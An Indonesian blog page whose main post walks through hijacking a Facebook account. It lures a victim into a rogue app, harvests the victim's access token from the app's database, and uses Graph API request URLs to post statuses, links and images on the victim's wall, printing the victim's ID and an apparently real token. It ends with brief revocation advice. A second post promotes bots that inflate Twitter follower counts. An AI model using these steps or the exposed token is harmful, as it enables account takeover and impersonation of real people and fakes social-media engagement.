Bahaya Access Token Terhadap Akun Facebook Anda

 

Apa itu Access Token ?

Access Token merupakan struktur data yang berisi informasi keamanan yang dibutuhkan oleh sebuah proses untuk mengakses objek (dalam hal ini akun Facebook) atau proses lainnya yang membutuhkan otorisasi.

Dari mana Access Token tercipta ?

Seperti yang kita ketahui bersama, Facebook memiliki ribuan bahkan mungkin jutaan apps (aplikasi) untuk memanjakan penggunanya. Dari setiap penggunaan apps tersebutlah Access Token tercipta. Setiap Access Token akan tersimpan pada server hostingan pembuat aplikasi Facebook.

Kenapa dikatakan Access Token berbahaya ?

Apabila Access Token akun Facebook anda diketahui oleh orang yang tidak bertanggung jawab maka orang tersebut dapat meng-update-kan status Facebook anda, mem-posting link dan dapat pula memasukkan foto/gambar tanpa perlu melakukan login ke akun Facebook anda. Mungkin diantara kita pernah mendengar beberapa kasus pengguna Facebook berurusan dengan pihak Kepolisian bahkan sampai ke depan meja hijau akibat dari status Facebook-nya.

Bagaimana proses kerjanya ?

Di sini saya akan mempraktekkan proses kerjanya, bukan mengajarkan. Dan di akhir penjelasan nanti akan dijelaskan bagaimana cara untuk menghindarinya. Baiklah, mari kita mulai.

1. Pertama – tama saya akan login ke akun Facebook saya sendiri. Antara akun Facebook saya dengan Facebook korban tidak saling berteman. (jika berteman lebih baik lagi)
   
   
2. Sebelumnya, saya telah membuat sebuah aplikasi sederhana di Facebook. Dengan memanfaatkan tekhnik social engineering saya memberikan link aplikasi Facebook itu kepada korban agar tergiur untuk menggunakannya. Link aplikasinya adalah http://apps.facebook.com/via_apa_saja/ (Aplikasi Update Status Facebook Via Apa Saja)
   
   
3. Sang korban tergiur dan menggunakan aplikasi Facebook dari saya.
   
   
   
   
4. Untuk lebih memastikan apakah korban sudah menggunakan aplikasi Facebook dari saya, langsung saja saya login ke cpanel lalu menuju ke phpMyAdmin.
   
   
   
   Dan ternyata si korban telah menggunakan aplikasi Facebook dari saya. Yang ditandai kotak warna merah adalah access_token Facebook korban.
   
   
5. Mari kita coba untuk meng-update-kan status Facebook korban dengan sedikit “injeksi url”
   Injeksi url :
   https://graph.facebook.com/ID-FACEBOOK/feed?method=POST&message=KALIMAT&access_token=ACCESS-TOKEN-KORBAN
   
   Menjadi :
   https://graph.facebook.com/100003787395136/feed?method=POST&message=Test update status online :lol:&access_token=AAAFc7v
   0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lVzykK8AKy40KkZA47M47c
   NL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZDZD
   
   Untuk melihat hasilnya silakan Anda klik "injeksi url" di atas lalu buka wall profil Facebook korban
   
   
6. Selanjutnya kita coba untuk mem-posting LINK ke akun Facebook korban.
   Injeksi url :
   https://graph.facebook.com/ID/feed?method=POST&link=URL&message=KALIMAT&access_token=ACCESS-TOKEN-KORBAN
   
   Menjadi :
   
   https://graph.facebook.com/100003787395136/feed?method=POST&link=http://blog.cyber4rt.com&message=TestpostingLINK&access_token=AAAFc7v0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lV
   zykK8AKy40KkZA47M47cNL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZ
   DZD
7. Terakhir, saya akan memasukkan sebuah gambar ke dalam akun Facebook korban.
   Injeksi url :
   https://graph.facebook.com/photos?url=URL GAMBAR&method=POST&message=KALIMAT&access_token=ACCESS-TOKEN-KORBAN
   
   Menjadi :
   https://graph.facebook.com/photos?url=http://www.cyber4rt.com/logo.gif&method=POST&message=TEST UPLOAD GAMBAR&access_token=AAAFc7v0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lVzykK8AKy40KkZA47M47cNL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZDZD

Bagaimana cara menghindari penggunaan Access Token oleh orang yang tidak bertanggung jawab ?Cara untuk menghindarinya cukup mudah yaitu :

1. Masuk ke Pengaturan Privasi Aplikasi Facebook
2. Cari aplikasi Facebook yang mencurigakan, contoh pada demo kali ini aplikasinya bernama ACCESS_TOKEN, klik edit (sunting) pada aplikasi tersebut.
3. Di sini ada beberapa pilihan, perhatikan gambar di bawah ini

 
Akhir kata, jangan sembarang menggunakan aplikasi Facebook. Gunakan aplikasi Facebook hanya dari
sumber yang terpercaya. Sekian dan terima kasih, lebih dan kurangnya mohon dimaafkan.

Read More »

Add Comment

Label: Hacker, Tips And Trick

Cara Mendapatkan Ribuan Follower Twitter

Halo, kalian tidak bingungkan untuk meninggalkan Komentar? Follow Blog DT? dll? kalau masih bingung mending baca dulu "Paduan Fitur-Fitur di Dwi-Tekhnologi".

Ok, setelah kemaren saya buat Post tentang "Blog, Template", sekarang saya mau buat Post tentang "Jejaring Sosial" yaitu "Twitter"

Kalian ingin dapatkan Ribuan Follower? saya punya caranya. Tapi cara ini bukan cara Murni y? tapi menggunakan BOT. Apa itu BOT? BOT itu semacam ROBOT/Aplikasi yang akan membantu kita. Contoh Akun yang saya gunakan BOT untuk mendapatkan Follower adalah akun @DwiAji_. Setiap saat saya bisa saja menambahkan Follower terus menerus jika tidak ada batasan pemakaian pada BOT tersebut.

Contoh BOT yang saya pakai :

1. HitFollow (http://hitfollow.info/)

Bot ini tidak perlu mendaftar untuk menggunakannya. Masuk saja ke Linknya, lalu Scroll ke bawah dan Klik "Get Free Now" --> Centang "I Accept Terms Of User" --> lalu klik "Get +100 Follower" --> Tunggulah beberapa saat, dan Reload halaman Profil Twitter kalian. InsyaAllah Followernya akan bertambah. :)

2. NewFollow (http://newfollow.info/)

BOT ini sama Cara Pemakaiannya seperti BOT HitFollow.

3. http://autoretweet.biz/

Nah, kalau BOT yang satu ini agak berbeda cara pemakaiannya. Untuk melihat cara pakainya, silahkan buka atau klik LINK INI

• Note

1. Untuk NewFollow dan HitFollow cuman bisa menambahkan +100 Follower tiap 24 jam

2. Untuk AORET, cuman bisa menambahkan kurang lebih 30 Follower sesebanyak 3x tiap 30 menit (Kesimpulannya +-90 tiap 30 menit)

Itu adalah BOT yang saya pakai untuk mendapatkan Ribuan Follower Twitter. Mungkin masih banyak BOT lainnya yang beredaran di Internet. Saat ini BOT tersebut masih WORK, tetapi saya tidak jamin BOT tersebut akan WORK kedepannya, jadi manfaatkanlah sebelum BOT itu tidak WORK lagi. :)

Jika ada kesalahan Mohon Dimaafkan, RESIKO TANGGUNG SENDIRI

Read More »

Add Comment

Label: Hacker